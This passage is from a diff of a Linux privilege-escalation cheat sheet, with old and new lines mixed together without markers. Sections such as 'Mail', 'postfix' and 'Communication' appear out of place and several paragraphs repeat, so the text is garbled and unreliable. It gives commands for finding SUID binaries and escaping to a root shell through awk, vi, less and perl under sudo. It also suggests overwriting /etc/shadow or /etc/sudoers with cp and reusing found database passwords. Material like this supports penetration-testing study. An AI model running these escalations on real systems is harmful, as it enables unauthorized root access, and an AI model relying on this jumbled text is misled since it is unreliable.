- Check database config-file (`config.php` or similar)
- Check databases
- Check weak passwords
@@ -165,122 +166,122 @@ netstat -anlp
netstat -ano
```
### Suid Misconfiguration
### Suid and Guid Misconfiguration
A binary with suid permission can be run by anyone, but when they are run they are run as the user who set the suid. It could be root, or another user. If the suid-bit is set on a program that can spawn a shell or in another way abuse the rights.
For example, these are some programs that can be used to spawn a shell:
## Communication
```
nmap
vim
less
more
```
### Mail
If these programs have suid-bit set we can use them to escalate privileges too. For more of these and how to use the see the next section about abusing sudo-rights:
If you have a limited shell that access to some sudo programs you might be able to escalate your privileges with it. Any program that can write or overwrite can be used. If you have `cp` you can overwrite `/etc/shadow` or `/etc/sudoers`.
If there is a web-server, check the connection to the database. Try that password. Also log into the database with the user you found. Is there a admin-account that might be reusing passwords?
Config-files
postfix
newsbeauter
`awk`
### Configuration mistakes
```
awk 'BEGIN {system("/bin/bash")}'
```
`bash`
#### Bad path configuration
`cp`
Copy and overwrite /etc/shadow
Putting . in the path
If you put a dot in your path you won't have to write `./binary to be able to execute it. You will be able to execute any script or binary that is in the current directory.`
`find`
Why do people/sysadmins do this? Because they are lazy and won't want to write `./.`
SUID is a bit that you can set on a file. If you run a binary the binary is run as the user who is running it. But if the binary has the SUID-bit it will be run as the owner of that binary. This can be abused.
Here is how you find SUID files:
`python/perl/ruby/lua/etc`
```
find / -perm -u=s -type f 2>/dev/null
sudo perl
exec "/bin/bash";
ctr-d
```
Run ltrace on them to see what they do.
#### Setuid/setuig
SUID is a bit that you can set on a file. If you run a binary the binary is run as the user who is running it. But if the binary has the SUID-bit it will be run as the owner of that binary. This can be abused.
If you have a shell that has limited sudo programs you might still be able to use it. Any program that can write or overwrite can be used. If you have `cp you can overwrite /etc/shadow or /etc/sudoers.
`**`ht`**`
The text/binary-editor HT running as sudo`
**nano**
`vi/vim`
**vi/vim**
With vi it is even easier. Just open vi
Can be abused like this:
```
sudo vi
@@ -288,90 +289,75 @@ sudo vi
:set shell=/bin/bash:shell
:!bash
```
``
And you have shell.
[How I got root with sudo/](https://www.securusglobal.com/community/2014/03/17/how-i-got-root-with-sudo/)
**less**
From less you can go into vi, and then into a shell
```
sudo less /etc/shadow
v
:shell
```
## Communication
**more**
You need to run more on a file that is bigger than your screen.
If you put a dot in your path you won't have to write `./binary to be able to execute it. You will be able to execute any script or binary that is in the current directory.`
```
awk 'BEGIN {system("/bin/bash")}'
```
Why do people/sysadmins do this? Because they are lazy and won't want to write `./.`